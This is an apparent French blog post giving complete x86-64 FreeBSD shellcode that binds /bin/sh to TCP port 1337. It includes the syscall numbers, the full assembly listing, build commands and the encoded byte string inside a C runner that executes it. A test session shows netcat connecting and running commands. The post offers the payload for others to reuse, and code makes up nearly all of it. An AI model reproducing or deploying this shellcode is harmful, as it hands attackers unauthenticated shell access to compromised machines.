Bind sh on freebsd 64 bits
J'ai souhaité écrire un shellcode qui bind un shell sur le port 1337, le tout sur FreeBSD architecture 64 Bits : Qui sait ça servira peut être à quelqu'un. Pour ma part si je l'ai écrit c'etait pour le fun et qu'il était introuvable à travers le net (tout du moins sur les sites Exploit-db ou encore Shell-Storm).
Avant de se lancer dans le code récupérons les informations nécessaire à son écriture :
% cat /usr/src/sys/kern/syscalls.master | grep 'socket\|bind\|listen\|accept\|dup2\|execve'
30 AUE_ACCEPT STD { int accept(int s, \
59 AUE_EXECVE STD { int execve(char *fname, char **argv, \
90 AUE_DUP2 STD { int dup2(u_int from, u_int to); }
97 AUE_SOCKET STD { int socket(int domain, int type, \
104 AUE_BIND STD { int bind(int s, caddr_t name, \
106 AUE_LISTEN STD { int listen(int s, int backlog); }
Code :
# socket(AF_INET, SOCK_STREAM,IPPROTO_TCP)
push $0x61
pop %rax
push $0x6
pop %rdx
push $0x2
pop %rdi
push $0x1
pop %rsi
syscall
# bind(socket, server, sizeof(server))
mov %rax,%rdi
push $0x68
pop %rax
push $0x39050102
mov %rsp,%rsi
push $0x10
pop %rdx
syscall
# listen(socket, 1)
push $0x1
pop %rsi
push $0x6A
pop %rax
syscall
# accept(socket, 0, 0)
xor %rsi, %rsi
xor %rdx, %rdx
push $0x1e
pop %rax
syscall
# dup2 stdin
# dup2 stdout
# dup2 stderr
mov %rax,%rdi
push $0x5a
pop %rax
push $0x2
pop %rsi
syscall
dec %rsi
push $0x5a
pop %rax
syscall
dec %rsi
push $0x5a
pop %rax
syscall
# execve("/bin/sh", ["/bin/sh"], NULL
push $0x3b
pop %rax
cltd
mov $0x68732f2f6e69622f,%rbx
push %rdx
push %rbx
push %rsp
pop %rdi
push %rdx
push %rdi
push %rsp
pop %rsi
syscall
Pour le compiler :
as -o bind_sh.o bind_sh.s
ld -o bind_sh bind_sh.o
Le shellcode en lui même :
int main() { const char *shcode = "\x6a\x61\x58\x6a" "\x06\x5a\x6a\x02\x5f\x6a\x01\x5e\x0f" "\x05\x48\x89\xc7\x6a\x68\x58\x68\x02" "\x01\x05\x39\x48\x89\xe6\x6a\x10\x5a" "\x0f\x05\x6a\x01\x5e\x6a\x6a\x58\x0f" "\x05\x48\x31\xf6\x48\x31\xd2\x6a\x1e" "\x58\x0f\x05\x48\x89\xc7\x6a\x5a\x58" "\x6a\x02\x5e\x0f\x05\x48\xff\xce\x6a" "\x5a\x58\x0f\x05\x48\xff\xce\x6a\x5a" "\x58\x0f\x05\x6a\x3b\x58\x99\x48\xbb" "\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52" "\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"; printf("Size = %d\n",strlen(shcode)); (*(void (*)()) shcode)(); }
Test :
% gcc bind_sh.c -o bind_sh
% ./bind_sh
Size = 103
Dans un autre terminal :
% sockstat -4 | grep bind_sh
w4kfu bind_sh 12151 3 tcp4 *:1337 *:*
% nc localhost 1337
ls
bind_sh
bind_sh.o
bind_sh.s
bind_sh.c